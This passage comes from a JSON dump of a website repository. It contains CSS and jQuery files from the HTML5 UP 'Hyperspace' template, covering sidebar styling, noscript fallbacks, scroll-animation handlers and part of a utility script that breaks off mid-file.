nav > ul > li:nth-child(3) {\n\t\t\t\t\t-moz-transition-delay: 0.85s;\n\t\t\t\t\t-webkit-transition-delay: 0.85s;\n\t\t\t\t\t-ms-transition-delay: 0.85s;\n\t\t\t\t\ttransition-delay: 0.85s;\n\t\t\t\t}\n\n\t\t\t\t#sidebar nav > ul > li:nth-child(4) {\n\t\t\t\t\t-moz-transition-delay: 1.05s;\n\t\t\t\t\t-webkit-transition-delay: 1.05s;\n\t\t\t\t\t-ms-transition-delay: 1.05s;\n\t\t\t\t\ttransition-delay: 1.05s;\n\t\t\t\t}\n\n\t\t\t\t#sidebar nav > ul > li:nth-child(5) {\n\t\t\t\t\t-moz-transition-delay: 1.25s;\n\t\t\t\t\t-webkit-transition-delay: 1.25s;\n\t\t\t\t\t-ms-transition-delay: 1.25s;\n\t\t\t\t\ttransition-delay: 1.25s;\n\t\t\t\t}\n\n\t\t\t\t#sidebar nav > ul > li:nth-child(6) {\n\t\t\t\t\t-moz-transition-delay: 1.45s;\n\t\t\t\t\t-webkit-transition-delay: 1.45s;\n\t\t\t\t\t-ms-transition-delay: 1.45s;\n\t\t\t\t\ttransition-delay: 1.45s;\n\t\t\t\t}\n\n\t\t\t\t#sidebar nav > ul > li:nth-child(7) {\n\t\t\t\t\t-moz-transition-delay: 1.65s;\n\t\t\t\t\t-webkit-transition-delay: 1.65s;\n\t\t\t\t\t-ms-transition-delay: 1.65s;\n\t\t\t\t\ttransition-delay: 1.65s;\n\t\t\t\t}\n\n\t\t\t\t#sidebar nav > ul > li:nth-child(8) {\n\t\t\t\t\t-moz-transition-delay: 1.85s;\n\t\t\t\t\t-webkit-transition-delay: 1.85s;\n\t\t\t\t\t-ms-transition-delay: 1.85s;\n\t\t\t\t\ttransition-delay: 1.85s;\n\t\t\t\t}\n\n\t\t\t\t#sidebar nav > ul > li:nth-child(9) {\n\t\t\t\t\t-moz-transition-delay: 2.05s;\n\t\t\t\t\t-webkit-transition-delay: 2.05s;\n\t\t\t\t\t-ms-transition-delay: 2.05s;\n\t\t\t\t\ttransition-delay: 2.05s;\n\t\t\t\t}\n\n\t\t\t\t#sidebar nav > ul > li:nth-child(10) {\n\t\t\t\t\t-moz-transition-delay: 2.25s;\n\t\t\t\t\t-webkit-transition-delay: 2.25s;\n\t\t\t\t\t-ms-transition-delay: 2.25s;\n\t\t\t\t\ttransition-delay: 2.25s;\n\t\t\t\t}\n\n\t\t\t\t#sidebar nav > ul > li:nth-child(11) {\n\t\t\t\t\t-moz-transition-delay: 2.45s;\n\t\t\t\t\t-webkit-transition-delay: 2.45s;\n\t\t\t\t\t-ms-transition-delay: 2.45s;\n\t\t\t\t\ttransition-delay: 2.45s;\n\t\t\t\t}\n\n\t\t\t\t#sidebar nav > ul > li:nth-child(12) {\n\t\t\t\t\t-moz-transition-delay: 2.65s;\n\t\t\t\t\t-webkit-transition-delay: 2.65s;\n\t\t\t\t\t-ms-transition-delay: 2.65s;\n\t\t\t\t\ttransition-delay: 2.65s;\n\t\t\t\t}\n\n\t\t\t\t#sidebar nav > ul > li:nth-child(13) {\n\t\t\t\t\t-moz-transition-delay: 2.85s;\n\t\t\t\t\t-webkit-transition-delay: 2.85s;\n\t\t\t\t\t-ms-transition-delay: 2.85s;\n\t\t\t\t\ttransition-delay: 2.85s;\n\t\t\t\t}\n\n\t\t\t\t#sidebar nav > ul > li:nth-child(14) {\n\t\t\t\t\t-moz-transition-delay: 3.05s;\n\t\t\t\t\t-webkit-transition-delay: 3.05s;\n\t\t\t\t\t-ms-transition-delay: 3.05s;\n\t\t\t\t\ttransition-delay: 3.05s;\n\t\t\t\t}\n\n\t\t\t\t#sidebar nav > ul > li:nth-child(15) {\n\t\t\t\t\t-moz-transition-delay: 3.25s;\n\t\t\t\t\t-webkit-transition-delay: 3.25s;\n\t\t\t\t\t-ms-transition-delay: 3.25s;\n\t\t\t\t\ttransition-delay: 3.25s;\n\t\t\t\t}\n\n\t\t\t\t#sidebar nav > ul > li:nth-child(16) {\n\t\t\t\t\t-moz-transition-delay: 3.45s;\n\t\t\t\t\t-webkit-transition-delay: 3.45s;\n\t\t\t\t\t-ms-transition-delay: 3.45s;\n\t\t\t\t\ttransition-delay: 3.45s;\n\t\t\t\t}\n\n\t\t\t\t#sidebar nav > ul > li:nth-child(17) {\n\t\t\t\t\t-moz-transition-delay: 3.65s;\n\t\t\t\t\t-webkit-transition-delay: 3.65s;\n\t\t\t\t\t-ms-transition-delay: 3.65s;\n\t\t\t\t\ttransition-delay: 3.65s;\n\t\t\t\t}\n\n\t\t\t\t#sidebar nav > ul > li:nth-child(18) {\n\t\t\t\t\t-moz-transition-delay: 3.85s;\n\t\t\t\t\t-webkit-transition-delay: 3.85s;\n\t\t\t\t\t-ms-transition-delay: 3.85s;\n\t\t\t\t\ttransition-delay: 3.85s;\n\t\t\t\t}\n\n\t\t\t\t#sidebar nav > ul > li:nth-child(19) {\n\t\t\t\t\t-moz-transition-delay: 4.05s;\n\t\t\t\t\t-webkit-transition-delay: 4.05s;\n\t\t\t\t\t-ms-transition-delay: 4.05s;\n\t\t\t\t\ttransition-delay: 4.05s;\n\t\t\t\t}\n\n\t\t\t\t#sidebar nav > ul > li:nth-child(20) {\n\t\t\t\t\t-moz-transition-delay: 4.25s;\n\t\t\t\t\t-webkit-transition-delay: 4.25s;\n\t\t\t\t\t-ms-transition-delay: 4.25s;\n\t\t\t\t\ttransition-delay: 4.25s;\n\t\t\t\t}\n\n\t\t#sidebar nav a {\n\t\t\t-moz-transition: color 0.2s ease;\n\t\t\t-webkit-transition: color 0.2s ease;\n\t\t\t-ms-transition: color 0.2s ease;\n\t\t\ttransition: color 0.2s ease;\n\t\t\tborder: 0;\n\t\t\tcolor: rgba(255, 255, 255, 0.35);\n\t\t\tdisplay: block;\n\t\t\tfont-size: 0.6em;\n\t\t\tfont-weight: bold;\n\t\t\tletter-spacing: 0.25em;\n\t\t\tline-height: 1.75;\n\t\t\toutline: 0;\n\t\t\tpadding: 1.35em 0;\n\t\t\tposition: relative;\n\t\t\ttext-decoration: none;\n\t\t\ttext-transform: uppercase;\n\t\t}\n\n\t\t\t#sidebar nav a:before, #sidebar nav a:after {\n\t\t\t\tborder-radius: 0.2em;\n\t\t\t\tbottom: 0;\n\t\t\t\tcontent: '';\n\t\t\t\theight: 0.2em;\n\t\t\t\tposition: absolute;\n\t\t\t\tright: 0;\n\t\t\t\twidth: 100%;\n\t\t\t}\n\n\t\t\t#sidebar nav a:before {\n\t\t\t\tbackground: #9d9d9d;\n\t\t\t}\n\n\t\t\t#sidebar nav a:after {\n\t\t\t\tbackground-image: -moz-linear-gradient(to right, #9d9d9d, #FF124f);\n\t\t\t\tbackground-image: -webkit-linear-gradient(to right, #9d9d9d, #FF124f);\n\t\t\t\tbackground-image: -ms-linear-gradient(to right, #9d9d9d, #FF124f);\n\t\t\t\tbackground-image: linear-gradient(to right, #9d9d9d, #FF124f);\n\t\t\t\t-moz-transition: max-width 0.2s ease;\n\t\t\t\t-webkit-transition: max-width 0.2s ease;\n\t\t\t\t-ms-transition: max-width 0.2s ease;\n\t\t\t\ttransition: max-width 0.2s ease;\n\t\t\t\tmax-width: 0;\n\t\t\t}\n\n\t\t\t#sidebar nav a:hover {\n\t\t\t\tcolor: rgba(255, 255, 255, 0.55);\n\t\t\t}\n\n\t\t\t#sidebar nav a.active {\n\t\t\t\tcolor: #FF124f;\n\t\t\t}\n\n\t\t\t\t#sidebar nav a.active:after {\n\t\t\t\t\tmax-width: 100%;\n\t\t\t\t}\n\n\t\tbody.is-preload #sidebar > .inner {\n\t\t\topacity: 0;\n\t\t}\n\n\t\tbody.is-preload #sidebar nav ul li {\n\t\t\t-moz-transform: translateY(2em);\n\t\t\t-webkit-transform: translateY(2em);\n\t\t\t-ms-transform: translateY(2em);\n\t\t\ttransform: translateY(2em);\n\t\t\topacity: 0;\n\t\t}\n\n\t\t@media screen and (max-width: 1280px) {\n\n\t\t\t#sidebar {\n\t\t\t\theight: 3.5em;\n\t\t\t\tleft: 0;\n\t\t\t\tline-height: 3.5em;\n\t\t\t\toverflow: hidden;\n\t\t\t\tpadding: 0;\n\t\t\t\ttext-align: center;\n\t\t\t\ttop: 0;\n\t\t\t\twidth: 100%;\n\t\t\t}\n\n\t\t\t\t#sidebar > .inner {\n\t\t\t\t\t-moz-flex-direction: row;\n\t\t\t\t\t-webkit-flex-direction: row;\n\t\t\t\t\t-ms-flex-direction: row;\n\t\t\t\t\tflex-direction: row;\n\t\t\t\t\t-moz-align-items: -moz-stretch;\n\t\t\t\t\t-webkit-align-items: -webkit-stretch;\n\t\t\t\t\t-ms-align-items: -ms-stretch;\n\t\t\t\t\talign-items: stretch;\n\t\t\t\t\theight: inherit;\n\t\t\t\t\tline-height: inherit;\n\t\t\t\t}\n\n\t\t\t\t#sidebar nav {\n\t\t\t\t\theight: inherit;\n\t\t\t\t\tline-height: inherit;\n\t\t\t\t}\n\n\t\t\t\t\t#sidebar nav ul {\n\t\t\t\t\t\tdisplay: -moz-flex;\n\t\t\t\t\t\tdisplay: -webkit-flex;\n\t\t\t\t\t\tdisplay: -ms-flex;\n\t\t\t\t\t\tdisplay: flex;\n\t\t\t\t\t\theight: inherit;\n\t\t\t\t\t\tline-height: inherit;\n\t\t\t\t\t\tmargin: 0;\n\t\t\t\t\t}\n\n\t\t\t\t\t\t#sidebar nav ul li {\n\t\t\t\t\t\t\tdisplay: block;\n\t\t\t\t\t\t\theight: inherit;\n\t\t\t\t\t\t\tline-height: inherit;\n\t\t\t\t\t\t\tmargin: 0 0 0 2em;\n\t\t\t\t\t\t\tpadding: 0;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t#sidebar nav a {\n\t\t\t\t\t\theight: inherit;\n\t\t\t\t\t\tline-height: inherit;\n\t\t\t\t\t\tpadding: 0;\n\t\t\t\t\t}\n\n\t\t\t\t\t\t#sidebar nav a:after {\n\t\t\t\t\t\t\tbackground-image: none;\n\t\t\t\t\t\t\tbackground-color: #b74e91;\n\t\t\t\t\t\t}\n\n\t\t}\n\n\t\t@media screen and (max-width: 736px) {\n\n\t\t\t#sidebar {\n\t\t\t\tdisplay: none;\n\t\t\t}\n\n\t\t}\n\n/* Intro */\n\n\t#intro {\n\t\tbackground-attachment: fixed;\n\t\tbackground-image: url(\"images/background.svg\");\n\t\tbackground-position: top right;\n\t\tbackground-repeat: no-repeat;\n\t\tbackground-size: 100% 100%;\n\t}\n\n\t\t#intro p {\n\t\t\tfont-size: 1.25em;\n\t\t}\n\n\t\t\t@media screen and (max-width: 980px) {\n\n\t\t\t\t#intro p br {\n\t\t\t\t\tdisplay: none;\n\t\t\t\t}\n\n\t\t\t}\n\n\t\t\t@media screen and (max-width: 736px) {\n\n\t\t\t\t#intro p {\n\t\t\t\t\tfont-size: 1em;\n\t\t\t\t}\n\n\t\t\t}\n\n\t\t@media screen and (max-width: 1280px) {\n\n\t\t\t#intro {\n\t\t\t\tbackground-attachment: scroll;\n\t\t\t}\n\n\t\t}"
  },
  {
    "path": "2020/assets/css/noscript.css",
    "content": "/*\r\n\tHyperspace by HTML5 UP\r\n\thtml5up.net | @ajlkn\r\n\tFree for personal and commercial use under the CCA 3.0 license (html5up.net/license)\r\n*/\n\n/* Spotlights */\n\n\t.spotlights > section > .image:before {\n\t\topacity: 0 !important;\n\t}\n\n\t.spotlights > section > .content > .inner {\n\t\t-moz-transform: none !important;\n\t\t-webkit-transform: none !important;\n\t\t-ms-transform: none !important;\n\t\ttransform: none !important;\n\t\topacity: 1 !important;\n\t}\n\n/* Wrapper */\n\n\t.wrapper > .inner {\n\t\topacity: 1 !important;\n\t\t-moz-transform: none !important;\n\t\t-webkit-transform: none !important;\n\t\t-ms-transform: none !important;\n\t\ttransform: none !important;\n\t}\n\n/* Sidebar */\n\n\t#sidebar > .inner {\n\t\topacity: 1 !important;\n\t}\n\n\t#sidebar nav > ul > li {\n\t\t-moz-transform: none !important;\n\t\t-webkit-transform: none !important;\n\t\t-ms-transform: none !important;\n\t\ttransform: none !important;\n\t\topacity: 1 !important;\n\t}"
  },
  {
    "path": "2020/assets/js/main.js",
    "content": "/*\r\n\tHyperspace by HTML5 UP\r\n\thtml5up.net | @ajlkn\r\n\tFree for personal and commercial use under the CCA 3.0 license (html5up.net/license)\r\n*/\r\n\r\n(function($) {\r\n\r\n\tvar\t$window = $(window),\r\n\t\t$body = $('body'),\r\n\t\t$sidebar = $('#sidebar');\r\n\r\n\t// Breakpoints.\r\n\t\tbreakpoints({\r\n\t\t\txlarge:   [ '1281px',  '1680px' ],\r\n\t\t\tlarge:    [ '981px',   '1280px' ],\r\n\t\t\tmedium:   [ '737px',   '980px'  ],\r\n\t\t\tsmall:    [ '481px',   '736px'  ],\r\n\t\t\txsmall:   [ null,      '480px'  ]\r\n\t\t});\r\n\r\n\t// Hack: Enable IE flexbox workarounds.\r\n\t\tif (browser.name == 'ie')\r\n\t\t\t$body.addClass('is-ie');\r\n\r\n\t// Play initial animations on page load.\r\n\t\t$window.on('load', function() {\r\n\t\t\twindow.setTimeout(function() {\r\n\t\t\t\t$body.removeClass('is-preload');\r\n\t\t\t}, 100);\r\n\t\t});\r\n\r\n\t// Forms.\r\n\r\n\t\t// Hack: Activate non-input submits.\r\n\t\t\t$('form').on('click', '.submit', function(event) {\r\n\r\n\t\t\t\t// Stop propagation, default.\r\n\t\t\t\t\tevent.stopPropagation();\r\n\t\t\t\t\tevent.preventDefault();\r\n\r\n\t\t\t\t// Submit form.\r\n\t\t\t\t\t$(this).parents('form').submit();\r\n\r\n\t\t\t});\r\n\r\n\t// Sidebar.\r\n\t\tif ($sidebar.length > 0) {\r\n\r\n\t\t\tvar $sidebar_a = $sidebar.find('a');\r\n\r\n\t\t\t$sidebar_a\r\n\t\t\t\t.addClass('scrolly')\r\n\t\t\t\t.on('click', function() {\r\n\r\n\t\t\t\t\tvar $this = $(this);\r\n\r\n\t\t\t\t\t// External link? Bail.\r\n\t\t\t\t\t\tif ($this.attr('href').charAt(0) != '#')\r\n\t\t\t\t\t\t\treturn;\r\n\r\n\t\t\t\t\t// Deactivate all links.\r\n\t\t\t\t\t\t$sidebar_a.removeClass('active');\r\n\r\n\t\t\t\t\t// Activate link *and* lock it (so Scrollex doesn't try to activate other links as we're scrolling to this one's section).\r\n\t\t\t\t\t\t$this\r\n\t\t\t\t\t\t\t.addClass('active')\r\n\t\t\t\t\t\t\t.addClass('active-locked');\r\n\r\n\t\t\t\t})\r\n\t\t\t\t.each(function() {\r\n\r\n\t\t\t\t\tvar\t$this = $(this),\r\n\t\t\t\t\t\tid = $this.attr('href'),\r\n\t\t\t\t\t\t$section = $(id);\r\n\r\n\t\t\t\t\t// No section for this link? Bail.\r\n\t\t\t\t\t\tif ($section.length < 1)\r\n\t\t\t\t\t\t\treturn;\r\n\r\n\t\t\t\t\t// Scrollex.\r\n\t\t\t\t\t\t$section.scrollex({\r\n\t\t\t\t\t\t\tmode: 'middle',\r\n\t\t\t\t\t\t\ttop: '-20vh',\r\n\t\t\t\t\t\t\tbottom: '-20vh',\r\n\t\t\t\t\t\t\tinitialize: function() {\r\n\r\n\t\t\t\t\t\t\t\t// Deactivate section.\r\n\t\t\t\t\t\t\t\t\t$section.addClass('inactive');\r\n\r\n\t\t\t\t\t\t\t},\r\n\t\t\t\t\t\t\tenter: function() {\r\n\r\n\t\t\t\t\t\t\t\t// Activate section.\r\n\t\t\t\t\t\t\t\t\t$section.removeClass('inactive');\r\n\r\n\t\t\t\t\t\t\t\t// No locked links? Deactivate all links and activate this section's one.\r\n\t\t\t\t\t\t\t\t\tif ($sidebar_a.filter('.active-locked').length == 0) {\r\n\r\n\t\t\t\t\t\t\t\t\t\t$sidebar_a.removeClass('active');\r\n\t\t\t\t\t\t\t\t\t\t$this.addClass('active');\r\n\r\n\t\t\t\t\t\t\t\t\t}\r\n\r\n\t\t\t\t\t\t\t\t// Otherwise, if this section's link is the one that's locked, unlock it.\r\n\t\t\t\t\t\t\t\t\telse if ($this.hasClass('active-locked'))\r\n\t\t\t\t\t\t\t\t\t\t$this.removeClass('active-locked');\r\n\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t});\r\n\r\n\t\t\t\t});\r\n\r\n\t\t}\r\n\r\n\t// Scrolly.\r\n\t\t$('.scrolly').scrolly({\r\n\t\t\tspeed: 1000,\r\n\t\t\toffset: function() {\r\n\r\n\t\t\t\t// If <=large, >small, and sidebar is present, use its height as the offset.\r\n\t\t\t\t\tif (breakpoints.active('<=large')\r\n\t\t\t\t\t&&\t!breakpoints.active('<=small')\r\n\t\t\t\t\t&&\t$sidebar.length > 0)\r\n\t\t\t\t\t\treturn $sidebar.height();\r\n\r\n\t\t\t\treturn 0;\r\n\r\n\t\t\t}\r\n\t\t});\r\n\r\n\t// Spotlights.\r\n\t\t$('.spotlights > section')\r\n\t\t\t.scrollex({\r\n\t\t\t\tmode: 'middle',\r\n\t\t\t\ttop: '-10vh',\r\n\t\t\t\tbottom: '-10vh',\r\n\t\t\t\tinitialize: function() {\r\n\r\n\t\t\t\t\t// Deactivate section.\r\n\t\t\t\t\t\t$(this).addClass('inactive');\r\n\r\n\t\t\t\t},\r\n\t\t\t\tenter: function() {\r\n\r\n\t\t\t\t\t// Activate section.\r\n\t\t\t\t\t\t$(this).removeClass('inactive');\r\n\r\n\t\t\t\t}\r\n\t\t\t})\r\n\t\t\t.each(function() {\r\n\r\n\t\t\t\tvar\t$this = $(this),\r\n\t\t\t\t\t$image = $this.find('.image'),\r\n\t\t\t\t\t$img = $image.find('img'),\r\n\t\t\t\t\tx;\r\n\r\n\t\t\t\t// Assign image.\r\n\t\t\t\t\t$image.css('background-image', 'url(' + $img.attr('src') + ')');\r\n\r\n\t\t\t\t// Set background position.\r\n\t\t\t\t\tif (x = $img.data('position'))\r\n\t\t\t\t\t\t$image.css('background-position', x);\r\n\r\n\t\t\t\t// Hide <img>.\r\n\t\t\t\t\t$img.hide();\r\n\r\n\t\t\t});\r\n\r\n\t// Features.\r\n\t\t$('.features')\r\n\t\t\t.scrollex({\r\n\t\t\t\tmode: 'middle',\r\n\t\t\t\ttop: '-20vh',\r\n\t\t\t\tbottom: '-20vh',\r\n\t\t\t\tinitialize: function() {\r\n\r\n\t\t\t\t\t// Deactivate section.\r\n\t\t\t\t\t\t$(this).addClass('inactive');\r\n\r\n\t\t\t\t},\r\n\t\t\t\tenter: function() {\r\n\r\n\t\t\t\t\t// Activate section.\r\n\t\t\t\t\t\t$(this).removeClass('inactive');\r\n\r\n\t\t\t\t}\r\n\t\t\t});\r\n\r\n})(jQuery);"
  },
  {
    "path": "2020/assets/js/util.js",
    "content": "(function($) {\r\n\r\n\t/**\r\n\t * Generate an indented list of links from a nav. Meant for use with panel().\r\n\t * @return {jQuery} jQuery object.\r\n\t */\r\n\t$.fn.navList = function() {\r\n\r\n\t\tvar\t$this = $(this);\r\n\t\t\t$a = $this.find('a'),\r\n\t\t\tb = [];\r\n\r\n\t\t$a.each(function() {\r\n\r\n\t\t\tvar\t$this = $(this),\r\n\t\t\t\tindent = Math.max(0, $this.parents('li').length - 1),\r\n\t\t\t\thref = $this.attr('href'),\r\n\t\t\t\ttarget = $this.attr('target');\r\n\r\n\t\t\tb.push(\r\n\t\t\t\t'<a ' +\r\n\t\t\t\t\t'class=\"link depth-' + indent + '\"' +\r\n\t\t\t\t\t( (typeof target !== 'undefined' && target != '') ? ' target=\"' + target + '\"' : '') +\r\n\t\t\t\t\t( (typeof href !== 'undefined' && href != '') ? ' href=\"' + href + '\"' : '') +\r\n\t\t\t\t'>' +\r\n\t\t\t\t\t'<span class=\"indent-' + indent + '\"></span>' +\r\n\t\t\t\t\t$this.text() +\r\n\t\t\t\t'</a>'\r\n\t\t\t);\r\n\r\n\t\t});\r\n\r\n\t\treturn b.join('');\r\n\r\n\t};\r\n\r\n\t/**\r\n\t * Panel-ify an element.\r\n\t * @param {object} userConfig User config.\r\n\t * @return {jQuery} jQuery object.\r\n\t */\r\n\t$.fn.panel = function(userConfig) {\r\n\r\n\t\t// No elements?\r\n\t\t\tif (this.length == 0)\r\n\t\t\t\treturn $this;\r\n\r\n\t\t// Multiple elements?\r\n\t\t\tif (this.length > 1) {\r\n\r\n\t\t\t\tfor (var i=0; i < this.length; i++)\r\n\t\t\t\t\t$(this[i]).panel(userConfig);\r\n\r\n\t\t\t\treturn $this;\r\n\r\n\t\t\t}\r\n\r\n\t\t// Vars.\r\n\t\t\tvar\t$this = $(this),\r\n\t\t\t\t$body = $('body'),\r\n\t\t\t\t$window = $(window),\r\n\t\t\t\tid = $this.attr('id'),\r\n\t\t\t\tconfig;\r\n\r\n\t\t// Config.\r\n\t\t\tconfig = $.extend({\r\n\r\n\t\t\t\t// Delay.\r\n\t\t\t\t\tdelay: 0,\r\n\r\n\t\t\t\t// Hide panel on link click.\r\n\t\t\t\t\thideOnClick: false,\r\n\r\n\t\t\t\t// Hide panel on escape keypress.\r\n\t\t\t\t\thideOnEscape: false,\r\n\r\n\t\t\t\t// Hide panel on swipe.\r\n\t\t\t\t\thideOnSwipe: false,\r\n\r\n\t\t\t\t// Reset scroll position on hide.\r\n\t\t\t\t\tresetScroll: false,\r\n\r\n\t\t\t\t// Reset forms on hide.\r\n\t\t\t\t\tresetForms: false,\r\n\r\n\t\t\t\t// Side of viewport the panel will appear.\r\n\t\t\t\t\tside: null,\r\n\r\n\t\t\t\t// Target element for \"class\".\r\n\t\t\t\t\ttarget: $this,\r\n\r\n\t\t\t\t// Class to toggle.\r\n\t\t\t\t\tvisibleClass: 'visible'\r\n\r\n\t\t\t}, userConfig);\r\n\r\n\t\t\t// Expand \"target\" if it's not a jQuery object already.\r\n\t\t\t\tif (typeof config.target != 'jQuery')\r\n\t\t\t\t\tconfig.target = $(config.target);\r\n\r\n\t\t// Panel.\r\n\r\n\t\t\t// Methods.\r\n\t\t\t\t$this._hide = function(event) {\r\n\r\n\t\t\t\t\t// Already hidden? Bail.\r\n\t\t\t\t\t\tif (!config.target.hasClass(config.visibleClass))\r\n\t\t\t\t\t\t\treturn;\r\n\r\n\t\t\t\t\t// If an event was provided, cancel it.\r\n\t\t\t\t\t\tif (event) {\r\n\r\n\t\t\t\t\t\t\tevent.preventDefault();\r\n\t\t\t\t\t\t\tevent.stopPropagation();\r\n\r\n\t\t\t\t\t\t}\r\n\r\n\t\t\t\t\t// Hide.\r\n\t\t\t\t\t\tconfig.target.removeClass(config.visibleClass);\r\n\r\n\t\t\t\t\t// Post-hide stuff.\r\n\t\t\t\t\t\twindow.setTimeout(function() {\r\n\r\n\t\t\t\t\t\t\t// Reset scroll position.\r\n\t\t\t\t\t\t\t\tif (config.resetScroll)\r\n\t\t\t\t\t\t\t\t\t$this.scrollTop(0);\r\n\r\n\t\t\t\t\t\t\t// Reset forms.\r\n\t\t\t\t\t\t\t\tif (config.resetForms)\r\n\t\t\t\t\t\t\t\t\t$this.find('form').each(function() {\r\n\t\t\t\t\t\t\t\t\t\tthis.reset();\r\n\t\t\t\t\t\t\t\t\t});\r\n\r\n\t\t\t\t\t\t}, config.delay);\r\n\r\n\t\t\t\t};\r\n\r\n\t\t\t// Vendor fixes.\r\n\t\t\t\t$this\r\n\t\t\t\t\t.css('-ms-overflow-style', '-ms-autohiding-scrollbar')\r\n\t\t\t\t\t.css('-webkit-overflow-scrolling', 'touch');\r\n\r\n\t\t\t// Hide on click.\r\n\t\t\t\tif (config.hideOnClick) {\r\n\r\n\t\t\t\t\t$this.find('a')\r\n\t\t\t\t\t\t.css('-webkit-tap-highlight-color', 'rgba(0,0,0,0)');\r\n\r\n\t\t\t\t\t$this\r\n\t\t\t\t\t\t.on('click', 'a', function(event) {\r\n\r\n\t\t\t\t\t\t\tvar $a = $(this),\r\n\t\t\t\t\t\t\t\thref = $a.attr('href'),\r\n\t\t\t\t\t\t\t\ttarget = $a.attr('target');\r\n\r\n\t\t\t\t\t\t\tif (!href || href == '#' || href == '' || href == '#' + id)\r\n\t\t\t\t\t\t\t\treturn;\r\n\r\n\t\t\t\t\t\t\t// Cancel original event.\r\n\t\t\t\t\t\t\t\tevent.preventDefault();\r\n\t\t\t\t\t\t\t\tevent.stopPropagation();\r\n\r\n\t\t\t\t\t\t\t// Hide panel.\r\n\t\t\t\t\t\t\t\t$this._hide();\r\n\r\n\t\t\t\t\t\t\t// Redirect to href.\r\n\t\t\t\t\t\t\t\twindow.setTimeout(function() {\r\n\r\n\t\t\t\t\t\t\t\t\tif (target == '_blank')\r\n\t\t\t\t\t\t\t\t\t\twindow.open(href);\r\n\t\t\t\t\t\t\t\t\telse\r\n\t\t\t\t\t\t\t\t\t\twindow.location.href = href;\r\n\r\n\t\t\t\t\t\t\t\t}, config.delay + 10);\r\n\r\n\t\t\t\t\t\t});\r\n\r\n\t\t\t\t}\r\n\r\n\t\t\t// Event: Touch stuff.\r\n\t\t\t\t$this.on('touchstart', function(event) {\r\n\r\n\t\t\t\t\t$this.touchPosX = event.originalEvent.touches[0].pageX;\r\n\t\t\t\t\t$this.touchPosY = event.originalEvent.touches[0].pageY;\r\n\r\n\t\t\t\t})\r\n\r\n\t\t\t\t$this.on('touchmove', function(event) {\r\n\r\n\t\t\t\t\tif ($this.touchPosX === null\r\n\t\t\t\t\t||\t$this.touchPosY === null)\r\n\t\t\t\t\t\treturn;\r\n\r\n\t\t\t\t\tvar\tdiffX = $this.touchPosX - event.originalEvent.touches[0].pageX,\r\n\t\t\t\t\t\tdiffY = $this.touchPosY - event.originalEvent.touches[0].pageY,\r\n\t\t\t\t\t\tth = $this.outerHeight(),\r\n\t\t\t\t\t\tts = ($this.get(0).scrollHeight - $this.scrollTop());\r\n\r\n\t\t\t\t\t// Hide on swipe?\r\n\t\t\t\t\t\tif (config.hideOnSwipe) {\r\n\r\n\t\t\t\t\t\t\tvar result = false,\r\n\t\t\t\t\t\t\t\tboundary = 20,\r\n\t\t\t\t\t\t\t\tdelta = 50;\r\n\r\n\t\t\t\t\t\t\tswitch (config.side) {\r\n\r\n\t\t\t\t\t\t\t\tcase 'left':\r\n\t\t\t\t\t\t\t\t\tresult = (diffY < boundary && diffY > (-1 * boundary)) && (diffX > delta);\r\n\t\t\t\t\t\t\t\t\tbreak;\r\n\r\n\t\t\t\t\t\t\t\tcase 'right':\r\n\t\t\t\t\t\t\t\t\tresult = (diffY < boundary && diffY > (-1 * boundary)) && (diffX < (-1 * delta));\r\n\t\t\t\t\t\t\t\t\tbreak;\r\n\r\n\t\t\t\t\t\t\t\tcase 'top':\r\n\t\t\t\t\t\t\t\t\tresult = (diffX < boundary && diffX > (-1 * boundary)) && (diffY > delta);\r\n\t\t\t\t\t\t\t\t\tbreak;\r\n\r\n\t\t\t\t\t\t\t\tcase 'bottom':\r\n\t\t\t\t\t\t\t\t\tresult = (diffX < boundary && diffX > (-1 * boundary)) && (diffY < (-1 * delta));\r\n\t\t\t\t\t\t\t\t\tbreak;\r\n\r\n\t\t\t\t\t\t\t\tdefault:\r\n\t\t\t\t\t\t\t\t\tbreak;\r\n\r\n\t\t\t\t\t\t\t}\r\n\r\n\t\t\t\t\t\t\tif (result) {\r\n\r\n\t\t\t\t\t\t\t\t$this.touchPosX = null;\r\n\t\t\t\t\t\t\t\t$this.touchPosY = null;\r\n\t\t\t\t\t\t\t\t$this._hide();\r\n\r\n\t\t\t\t\t\t\t\treturn false;\r\n\r\n\t\t\t\t\t\t\t}\r\n\r\n\t\t\t\t\t\t}\r\n\r\n\t\t\t\t\t// Prevent vertical scrolling past the top or bottom.\r\n\t\t\t\t\t\tif (($this.scrollTop() < 0 && diffY < 0)\r\n\t\t\t\t\t\t|| (ts > (th - 2) && ts < (th + 2) && diffY > 0)) {\r\n\r\n\t\t\t\t\t\t\tevent.preventDefault();\r\n\t\t\t\t\t\t\tevent.stopPropagation();\r\n\r\n\t\t\t\t\t\t}\r\n\r\n\t\t\t\t});\r\n\r\n\t\t\t// Event: Prevent certain events inside the panel from bubbling.\r\n\t\t\t\t$this.on('click touchend touchstart touchmove', function(event) {\r\n\t\t\t\t\tevent.stopPropagation();\r\n\t\t\t\t});\r\n\r\n\t\t\t// Event: Hide panel if a child anchor tag pointing to its ID is clicked.\r\n\t\t\t\t$this.on('click', 'a[href=\"#' + id + '\"]', function(event) {\r\n\r\n\t\t\t\t\tevent.preventDefault();\r\n\t\t\t\t\tevent.stopPropagation();\r\n\r\n\t\t\t\t\tconfig.target.removeClass(config.visibleClass);\r\n\r\n\t\t\t\t});\r\n\r\n\t\t// Body.\r\n\r\n\t\t\t// Event: Hide panel on body click/tap.\r\n\t\t\t\t$body.on('click touchend', function(event) {\r\n\t\t\t\t\t$this._hide(event);\r\n\t\t\t\t});\r\n\r\n\t\t\t// Event: Toggle.\r\n\t\t\t\t$body.on('click', 'a[href=\"#' + id + '\"]', function(event) {\r\n\r\n\t\t\t\t\tevent.preventDefault();\r\n\t\t\t\t\tevent.stopPropagation();\r\n\r\n\t\t\t\t\tconfig.target.toggleClass(config.visibleClass);\r\n\r\n\t\t\t\t});\r\n\r\n\t\t// Window.\r\n\r\n\t\t\t// Event: Hide on ESC.\r\n\t\t\t\tif (config.hideOnEscape)\r\n\t\t\t\t\t$window.on('keydown', function(event) {\r\n\r\n\t\t\t\t\t\tif (event.keyCode == 27)\r\n\t\t\t\t\t\t\t$this._hide(event);\r\n\r\n\t\t\t\t\t});\r\n\r\n\t\treturn $this;\r\n\r\n\t};\r\n\r\n\t/**\r\n\t * Apply \"placeholder\" attribute polyfill to one or more forms.\r\n\t * @return {jQuery} jQuery object.\r\n\t */\r\n\t$.fn.placeholder = function() {\r\n\r\n\t\t// Browser natively supports placeholders? Bail.\r\n\t\t\tif (typeof 